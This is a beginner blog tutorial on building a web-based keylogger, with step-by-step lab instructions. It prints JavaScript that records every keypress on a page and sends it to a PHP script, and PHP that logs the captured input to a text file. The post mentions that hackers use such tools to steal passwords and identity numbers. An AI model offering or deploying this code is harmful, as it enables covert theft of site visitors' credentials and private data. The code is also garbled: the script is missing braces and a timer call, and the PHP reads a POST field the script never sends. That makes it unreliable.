Quantify Cyber Risk Now

header ads

Making a Web Based Keylogger for Beginners | Lucideus Research

Introduction: Keylogger is a type of software that once active on a system, has the capability to record every keystroke made by the system. All the recorded keystroke is saved in a log file. A keylogger can record a message, email, and capture any type of information you type at any time using your keyboard.

Who uses a Keylogger: A keylogger is a surveillance tool, used by employers to ensure employee use work computers for business purposes only. There’s also a growing market of parents who want to use this tools to stay informed about a child’s online activities. But nowadays this tools is used by a hacker for hacking email id’s and confidential information of the user like password Social Security number, Aadhar card details etc, this is one of the easiest ways of extracting critical information by tricking people , keylogger can be a  device or a software. 

About our Keylogger: This is an example for a  simple web-based keylogger, In this documentation, you will know how keylogger works, type of programming by which we record and monitor each and every keystroke typed by the user in your site.

How it works

Very first We have to create an environment for practical and follow the steps which I mention in details below:-

Lab Environment
Operating system:-Window Xp
Testing website:-car.html
Web server:-Xampp
Text editor:-sublime text 3

Step 1: Create a testing webpage car.html. we copied the source code of the http://testphp.vulnweb.com/  website(you can also copy or make your own HTML page according to your need) and do some manipulation according to your need. After manipulation, you can see below how it looks.

Step 2: Write Code which will be inside the code.js.
var keys=''; // declaring a javascript variable to store each keystroke
document.onkeypress = function(e)// calling the function to execute whenever a keystroke is there on html document
 get = window.event?event:e;
 key = get.keyCode?get.keyCode:get.charCode; //get character code
 key = String.fromCharCode(key); // convert it to string
 keys+=key; // append current character to previous one (concatinate)
 new Image().src = '/keylogger.php?c='+keys; // sending data as get request by creating a new image
 keys = '';
}, 1000);// set interval to execute function continuously

Step 3: Create a keylogger.php file

Code which is inside the keylogger.php
$abc=$_POST['searchFor'];  //creating a variable “abc” and saving the data text box into it.
 $logfile = fopen('data.txt', 'a+');//open file data.txt in append mode  
 fwrite($logfile, $abc);// writing the content of abc into data.txt
 fclose($logfile);//close the file data.txt

Step 4: Create a text file data.txt in the same directory in which no code is required. In which We will get the keystroke which is typed by the user or who serve the website.

Step 5: Open Xampp file in the C:/ drive then click on htdocs and make a new folder of any name I give the name to that folder is dir and paste all the files inside it which i make above(car.html,code.js,data.txt,keyboard-966308_1280.jpg,keylogger.php).

Step 6: Write the path of the code.js inside our testing web page(car.html).

Step 7: Open Xampp control and start Apache and Mysql for hosting my testing webpage.

Step 8: Open testing webpage in our localhost by typing in url then we have a testing website in front of us and when user type in the text field and click on go after clicking whatever user type inside the text field we will get all the keystroke enter by the person in the data.txt file.

Steps 9: Goto to the data.txt file and you see all the keystroke which is enter by the user.

If you enjoyed this post, We will be very grateful if you’d help to spread this knowledge by emailing or WhatsApp to a friend or sharing it on Twitter or Facebook. Thank you!  Cheer!!

Post a comment